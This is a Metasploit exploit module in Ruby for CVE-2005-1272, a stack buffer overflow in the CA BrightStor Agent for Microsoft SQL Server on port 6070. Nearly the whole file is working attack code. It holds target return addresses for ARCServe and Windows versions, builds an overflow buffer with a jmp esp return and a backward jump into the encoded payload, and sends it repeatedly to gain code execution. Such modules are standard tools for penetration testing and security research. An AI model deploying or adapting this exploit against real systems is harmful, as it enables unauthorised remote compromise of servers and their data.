##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor Agent for Microsoft SQL Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the CA BrightStor
        Agent for Microsoft SQL Server. This vulnerability was
        discovered by cybertronic[at]gmx.net.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-1272'],
          [ 'OSVDB', '18501' ],
          [ 'BID', '14453'],
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
          [ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'      => %w{ win },
      'Targets'        =>
        [
          # This exploit requires a jmp esp for return
          ['ARCServe 11.0 Asbrdcst.dll 12/12/2003',     { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
          ['ARCServe 11.1 Asbrdcst.dll 07/21/2004',     { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
          ['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret

          # Generic jmp esp's
          ['Windows 2000 SP0-SP3 English',              { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
          ['Windows 2000 SP4 English',                  { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
          ['Windows XP SP0-SP1 English',                { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
          ['Windows XP SP2 English',                    { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
          ['Windows 2003 SP0 English',                  { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
          ['Windows 2003 SP1 English',                  { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
        ],
      'DisclosureDate' => 'Aug 02 2005',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(6070)
      ], self.class)
  end


  def exploit

    print_status("Trying target #{target.name}...")

    # The 'one line' request does not work against Windows 2003
    1.upto(5) { |i|

      # Flush some memory
      connect
      begin
        sock.put("\xff" * 0x12000)
        sock.get_once
      rescue
      end
      disconnect


      # 3288 bytes max
      #  696 == good data (1228 bytes contiguous) @ 0293f5e0
      # 3168 == return address
      # 3172 == esp @ 0293ff8c (2476 from good data)

      buf = rand_text_english(3288, payload_badchars)
      buf[ 696, payload.encoded.length ] = payload.encoded
      buf[3168, 4] = [target.ret].pack('V')  # jmp esp
      buf[3172, 5] = "\xe9\x4f\xf6\xff\xff"  # jmp -2476

      connect
      begin
        sock.put(buf)
        sock.get_once
      rescue
      end

      handler
      disconnect
    }
  end

end